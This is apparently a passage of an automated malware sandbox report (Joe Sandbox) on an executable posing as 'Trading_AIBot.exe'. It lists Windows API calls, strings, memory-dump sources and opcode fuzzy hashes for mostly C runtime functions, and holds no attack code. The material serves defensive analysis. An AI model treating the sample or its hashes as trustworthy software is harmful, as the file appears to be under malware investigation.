GetStdHandle.KERNEL32(000000F4,00021920,00000001,00000000,00000003,00000003,?,0040EC79,000000FC,0040B875,?,00411C86,00000001,00000001,00000001), ref: 0040EC18
WriteFile.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,0040EC79,000000FC,0040B875,?,00411C86,00000001,00000001,00000001,?,0040D66A), ref: 0040EC42

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0040EC06
..., xrefs: 0040EB94
<program name unknown>, xrefs: 0040EB4F
Runtime Error!Program: , xrefs: 0040EB07

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: d228d1b3399306f016de27fc33b0aa22b0032418354efacdbe7d0622773d8ea1
Instruction ID: 4c885dae332008cb3f33ab89d39099435a20c05041422f3afabae5192625500a
Opcode Fuzzy Hash: d228d1b3399306f016de27fc33b0aa22b0032418354efacdbe7d0622773d8ea1
Instruction Fuzzy Hash: A9417BB2A0011036F6256A279C46F6F751C9B61740F18083BF904B12D2E67F9A7241FE

Function 004145D2 Relevance: 12.1, APIs: 8, Instructions: 58COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00000001), ref: 004145E4
InterlockedIncrement.KERNEL32(?), ref: 004145F1
InterlockedIncrement.KERNEL32(?), ref: 004145FE
InterlockedIncrement.KERNEL32(?), ref: 0041460B
InterlockedIncrement.KERNEL32(?), ref: 00414618
InterlockedIncrement.KERNEL32(?), ref: 00414634
InterlockedIncrement.KERNEL32(?), ref: 00414644
InterlockedIncrement.KERNEL32(?), ref: 0041465A

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: IncrementInterlocked
String ID:
API String ID: 3508698243-0
Opcode ID: 1cb064039477f0f7149b760733431a03c001e26d4b94cce32f2cf329f237dafd
Instruction ID: a5632ddb7e83211cc749195fb7f1d990288ff85bbce0eceb06197ec8186b0ac9
Opcode Fuzzy Hash: 1cb064039477f0f7149b760733431a03c001e26d4b94cce32f2cf329f237dafd
Instruction Fuzzy Hash: 5B110C71B00215A7DB20DF69DC84B9BB7ACAF85748F084417A508D7240DB7CED40CBA8

Function 00417A69 Relevance: 10.7, APIs: 7, Instructions: 175COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000,?,00000000,00000000,0041219E,?,?,?,00417655,00000001,?,00000000,?,?,?), ref: 00417AB4
GetCPInfo.KERNEL32(?,00000001,?,00417655,00000001,?), ref: 00417ACD
MultiByteToWideChar.KERNEL32(?,00000001,?,00417655,00000000,00000000,?,00417655,00000001,?,00000000,?,?,?,?,00000000), ref: 00417B2B
MultiByteToWideChar.KERNEL32(?,00000001,?,00417655,?,00000000,?,?,?,?,?,?,?,00417655,00000001,?), ref: 00417B7A
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,00417655), ref: 00417B95
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00417655), ref: 00417BBB
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00417655), ref: 00417BE0

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 57831828327e0fd9b29b52a7241a2269af9ac7aa421d2a449e034f7dc10820ac
Instruction ID: 00cb0b24c94e7bab244d7c3dfedfc9bd20e92cc32d8d3a6f855c7b75aa03dbd4
Opcode Fuzzy Hash: 57831828327e0fd9b29b52a7241a2269af9ac7aa421d2a449e034f7dc10820ac
Instruction Fuzzy Hash: 33516E31908119AFCF219F95DC44CEFBBB5EF89758B20412AF514A2250D7399981CBA8

Function 0041046E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410480
TlsGetValue.KERNEL32(FFFFFFFF,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 00410497
GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004104E7,00000000,00413B8E,00423648,00000000,00000314,?,0040EC11,00423648,Microsoft Visual C++ Runtime Library,00012010), ref: 004104AD
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004104C8

Strings

EncodePointer, xrefs: 004104C2
KERNEL32.DLL, xrefs: 004104A7, 004104AC, 004104B7

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: babf73518875c63e01eb1fc5b558682a25adb31ffd5184e423c17d02359abd95
Instruction ID: f530d8b060d58c579d79f60b0c1f611121f78c070137b8bcb87fe1a2f6937860
Opcode Fuzzy Hash: babf73518875c63e01eb1fc5b558682a25adb31ffd5184e423c17d02359abd95
Instruction Fuzzy Hash: 23F08130200202EA8B20AB65DE449DB3E98EF403607448032F91DD6660DB78CCC28BAC

Function 004104E9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 004104FB
TlsGetValue.KERNEL32(FFFFFFFF,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 00410512
GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00410584,?,00000001,0040BFC6,0040B72C), ref: 00410528
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00410543

Strings

DecodePointer, xrefs: 0041053D
KERNEL32.DLL, xrefs: 00410522, 00410527, 00410532

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 0b828d30d3130089248180ece0e327eedcd44599e9245a5a2ff5dff508d6e5c2
Instruction ID: aa7866903cfcc59a82544a58b1978a327e5c3948331bbcf1c516b9af519b2489
Opcode Fuzzy Hash: 0b828d30d3130089248180ece0e327eedcd44599e9245a5a2ff5dff508d6e5c2
Instruction Fuzzy Hash: D0F03130200116BB8B25AB35ED04ADB3BADEF443A47544032F818D6260DB68DDC28EAC

Function 0041746B Relevance: 9.2, APIs: 6, Instructions: 166COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,00420398,00000001,?,?,?,0041219E,?,?,?,00417655,00000001,?,00000000,?,?), ref: 0041749A
GetLastError.KERNEL32(?,00417655,00000001,?,00000000,?,?,?,?,00000000,?,00000001,00000000,00000000,00000008,00000000), ref: 004174AC
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,0041219E,?,?,?,00417655,00000001,?,00000000), ref: 00417511
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,00000000,?,00000001,00000000,00000000,00000008,00000000,00000000), ref: 0041757B
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00417589
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,0041219E,?,?,?,00417655,00000001,?,00000000,?), ref: 004175FE

Part of subcall function 00417A69: GetCPInfo.KERNEL32(?,00000000,?,00000000,00000000,0041219E,?,?,?,00417655,00000001,?,00000000,?,?,?), ref: 00417AB4
Part of subcall function 00417A69: GetCPInfo.KERNEL32(?,00000001,?,00417655,00000001,?), ref: 00417ACD
Part of subcall function 00417A69: MultiByteToWideChar.KERNEL32(?,00000001,?,00417655,?,00000000,?,?,?,?,?,?,?,00417655,00000001,?), ref: 00417B7A
Part of subcall function 00417A69: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,00417655), ref: 00417B95

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$StringType$Info$ErrorLast
String ID:
API String ID: 2250435928-0
Opcode ID: 20d28ee309f2b78319d27818ec351485c85b0d71bb7d9afa75996c55294783bf
Instruction ID: 734949e4139a38c611296655d2f5aa61f4226ee52b3dd5e4cd4ab85df9df8113
Opcode Fuzzy Hash: 20d28ee309f2b78319d27818ec351485c85b0d71bb7d9afa75996c55294783bf
Instruction Fuzzy Hash: 21518F7150411AFFCF209F64DC819EF3BBAEB08354B21452AF915D7261D738DD918B98

Function 00417EE1 Relevance: 9.2, APIs: 6, Instructions: 156memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00414F8F: SetFilePointer.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,0040F2F5,?,00000000,00000000,00000002,00000000,00000000), ref: 00414FD1
Part of subcall function 00414F8F: GetLastError.KERNEL32(?,0040F2F5,?,00000000,00000000,00000002,00000000,00000000,?,?,0040F9E3,?,?,?,004212E0,00000010), ref: 00414FDE

GetProcessHeap.KERNEL32(00000008,00001000,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E,00000109,00000109), ref: 00417F4A
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E,00000109,00000109), ref: 00417F51
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E), ref: 00417FCD
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E,00000109), ref: 00417FD4
SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E), ref: 0041802F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00021D40,00000109,00000000,?,?,00415E9E,00000109), ref: 0041805C

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Heap$ErrorFileLastProcess$AllocFreePointer
String ID:
API String ID: 1354853467-0
Opcode ID: b3bc026f6918397185e1817f53e6d9f860c4805f58e85182464aef0442e71492
Instruction ID: b92505616a53d13f869f2cfa17fa88d79c9d9afa579b3ef818fcfe31b7d701a4
Opcode Fuzzy Hash: b3bc026f6918397185e1817f53e6d9f860c4805f58e85182464aef0442e71492
Instruction Fuzzy Hash: 5B41D572904109AEDF106FB8CC465EF3F75EB04328F15462AF924A72E1DB384DD68B99

Function 00411A15 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00411A2A

Part of subcall function 00411CBA: Sleep.KERNEL32(00000000), ref: 00411CE2

GetFileType.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,?,?,?,004211C0,00000014), ref: 00411B54
GetStdHandle.KERNEL32(-000000F6,?,?,?,?,?,?,?,?,?,?,?,?,004211C0,00000014), ref: 00411BDE
GetFileType.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,004211C0,00000014), ref: 00411BF0
SetHandleCount.KERNEL32 ref: 00411C48

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoSleepStartup
String ID:
API String ID: 1302456922-0
Opcode ID: fe812b23e2170bcdb639b9148777db5a3ee067828d9054d27ca0d7f29e7dd927
Instruction ID: 27b0fbd889795d5f1e06f4fdcd6398a7712fe8e1a2363047ed790b1c64620eeb
Opcode Fuzzy Hash: fe812b23e2170bcdb639b9148777db5a3ee067828d9054d27ca0d7f29e7dd927
Instruction Fuzzy Hash: 897128719087458FD7208F28D944B9A7BF0AF06324F29435AD6659B3F1E73CE882CB59

Function 004151DA Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(FFFFFFFE,?,00000001,?,00000000,00000000,?), ref: 00415222
GetLastError.KERNEL32 ref: 00415235
GetConsoleOutputCP.KERNEL32(00000000,?,00000001,?,00000005,00000000,00000000,00000000,?), ref: 00415255
WideCharToMultiByte.KERNEL32(00000000), ref: 0041525C
WriteConsoleA.KERNEL32(FFFFFFFE,?,00000000,00000000,00000000), ref: 00415278

Part of subcall function 00417E95: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00415205,00000000,?), ref: 00417EA8

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Console$Write$ByteCharCreateErrorFileLastMultiOutputWide
String ID:
API String ID: 1850339568-0
Opcode ID: f682b99e5bacf2e74930e8e62dfc2c4e3e74e49b32a4a4fec7347cea4f2df7ff
Instruction ID: 953df2ca3249f817f9cc39bcae46d22c6297729a51a0c9a14b81a97457889855
Opcode Fuzzy Hash: f682b99e5bacf2e74930e8e62dfc2c4e3e74e49b32a4a4fec7347cea4f2df7ff
Instruction Fuzzy Hash: 7821A132601504FBC7209FA0DD48DFB7779EB4A360B50026AF521921D0DB789A85CBAD

Function 00412A15 Relevance: 7.6, APIs: 5, Instructions: 53timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00412A4C
GetCurrentProcessId.KERNEL32 ref: 00412A58
GetCurrentThreadId.KERNEL32 ref: 00412A60
GetTickCount.KERNEL32 ref: 00412A68
QueryPerformanceCounter.KERNEL32(?), ref: 00412A74

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: bb3996daa0d213e17ce3a3e218643ddcd14062b4abd885261761fa903bb87a28
Instruction ID: 5c27a2b13baadd668e239a7c5dd4fee296557c3666ee481e1803dacbd7225632
Opcode Fuzzy Hash: bb3996daa0d213e17ce3a3e218643ddcd14062b4abd885261761fa903bb87a28
Instruction Fuzzy Hash: 69115672E00224ABDB209BF4DE486DFB7A4EF48391F960562D411E7210DB749D5187D9

Function 004017E0 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.RPKHZPUO(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(?,00000001,00000000,00000000,00000015,-30B19E70,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.RPKHZPUO(80070057), ref: 00401800
EntryPoint.RPKHZPUO(80070057), ref: 00401813
EntryPoint.RPKHZPUO(8007000E), ref: 00401839
EntryPoint.RPKHZPUO(8007000E), ref: 00401853

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise
String ID:
API String ID: 3553297507-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040E34F Relevance: 6.4, APIs: 5, Instructions: 181COMMON

Download Yara Rule

APIs

Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

GetLastError.KERNEL32(?,0040D212,00000000,00000010,?,?,?,0040D29E,0040AFB2,00421200,0000000C,0040D2CA,0040AFB2,?,0040AFB2), ref: 0040E4CA
GetLastError.KERNEL32(?,0040D212,00000000,00000010,?,?,?,0040D29E,0040AFB2,00421200,0000000C,0040D2CA,0040AFB2,?,0040AFB2), ref: 0040E557

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ErrorLast$AllocateHeap
String ID:
API String ID: 4219743298-0
Opcode ID: 21f6e1cdbb20672dfdd0fe6bd8d933b3c40773d1f4ce881146cc449c7a206cbd
Instruction ID: 24b6ce6606a44b70c861ee7e64875c3263351e3a18f4392c585e1da245e73565
Opcode Fuzzy Hash: 21f6e1cdbb20672dfdd0fe6bd8d933b3c40773d1f4ce881146cc449c7a206cbd
Instruction Fuzzy Hash: 1751D371D00625AACF217FB79C04A6F7A64EF50368B104D3BF854B72D2E73C89518A9D

Function 004142D1 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00414070: GetOEMCP.KERNEL32(00000000,?,004127F1), ref: 00414099

Part of subcall function 00411C75: Sleep.KERNEL32(00000000,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB,00000001,-0000000F,?,0040E2B2,00000004,00421260,0000000C), ref: 00411C96

InterlockedDecrement.KERNEL32(CBE85013), ref: 00414347
InterlockedIncrement.KERNEL32(00000000), ref: 0041436C
InterlockedDecrement.KERNEL32 ref: 004143FE
InterlockedIncrement.KERNEL32(00000000), ref: 00414422

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementIncrement$Sleep
String ID:
API String ID: 327565842-0
Opcode ID: 1ac3cf69a75a00068bc07650feaee45903014390a969cb25a4eb59365c4c170b
Instruction ID: ef8407f637ce398c8a034388d495f59de4d12d861d32ab62094bbbe6976ba705
Opcode Fuzzy Hash: 1ac3cf69a75a00068bc07650feaee45903014390a969cb25a4eb59365c4c170b
Instruction Fuzzy Hash: 3C41E570A002149BCB20AF75D9807DA7BF0FF88314F50886BE955EB2A1C77D98C28B5C

Function 00413E39 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,00000000,?), ref: 00413E5A

Strings

, xrefs: 00413E81
bBA, xrefs: 00413FBE

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Info
String ID: $bBA
API String ID: 1807457897-2691998655
Opcode ID: a75a759ca75c92b4cf3da8d4d8bcebf6a9778298300296b705959df042819b67
Instruction ID: 52c6045e8425aa0881b7be24359a39c5100ada617ead2fe5fbcefb6b32b9ff45
Opcode Fuzzy Hash: a75a759ca75c92b4cf3da8d4d8bcebf6a9778298300296b705959df042819b67
Instruction Fuzzy Hash: 51412AB150075C9EDB218F24CD84FFBBBF89B05709F1444EEE58683182D2799B8A8F59

Function 0040D5AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32 ref: 0040D5CC
DeleteCriticalSection.KERNEL32 ref: 0040D5F6

Strings

@, xrefs: 0040D5DB, 0040D5FB

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection
String ID: @
API String ID: 166494926-1615503679
Opcode ID: 7526e4d3dbcc190cfac878923c5a31712b949e4b7f11fd427bac071a9b25d37d
Instruction ID: 9eeb78a0cbe44b7cd63f1801abc478ec2ac12bfb37c42c527eb79f6e2b7b0d99
Opcode Fuzzy Hash: 7526e4d3dbcc190cfac878923c5a31712b949e4b7f11fd427bac071a9b25d37d
Instruction Fuzzy Hash: 69F0E2B3D00321B7C7345A596C84567B2A88F9072A395403FDCA8B7280877E8C8886AE

Function 0040DA59 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00021920,00000000,0040DFB9,00021920,00000001,00000000), ref: 0040DA80
HeapAlloc.KERNEL32(00000008,000041C4,00021920,00000000,0040DFB9,00021920,00000001,00000000), ref: 0040DAB6
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0040DAD0
HeapFree.KERNEL32(00000000,?), ref: 0040DAE7

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 9b5c81dbc51e698318c7dad427188dbb4a23983c96b18bada707d7d15dac696f
Instruction ID: 0f3031a8d49e428019a005922f7f9a8923364d0b5993188e1ef698a85f99edc9
Opcode Fuzzy Hash: 9b5c81dbc51e698318c7dad427188dbb4a23983c96b18bada707d7d15dac696f
Instruction Fuzzy Hash: 9F119072B00700DFC7319F24EC05A167BB5F758721751453AE696E32B0D334584A8F9C

Analysis Process: Trading_AIBot.exePID: 1008, Parent PID: 5464COMMON

Executed Functions

Function 02B07580 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 155742f8209d69922c9fbe2bad9ba668aa4972649794ab0961bf879687e8e907
Instruction ID: e5b2c20f88a78de03eeb0241090e2a83fb92cf49e8c6d61a5d3a44552021c4bf
Opcode Fuzzy Hash: 155742f8209d69922c9fbe2bad9ba668aa4972649794ab0961bf879687e8e907
Instruction Fuzzy Hash: D161D335D01218CFDB15EFA4D990AADBBB2FF89304F6085A9D405BB3A4DB34A949CF40

Function 02B07590 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.23336419135.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b00000_Trading_AIBot.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb3c83693d7c24b76baff5e7d087972a0d0623468e3b250ec29e18005b6915e
Instruction ID: 1597ad5ea238ac173adaa65104ff1fe9d7ddd7995f2bd8b36f79f791db992e66
Opcode Fuzzy Hash: 2cb3c83693d7c24b76baff5e7d087972a0d0623468e3b250ec29e18005b6915e
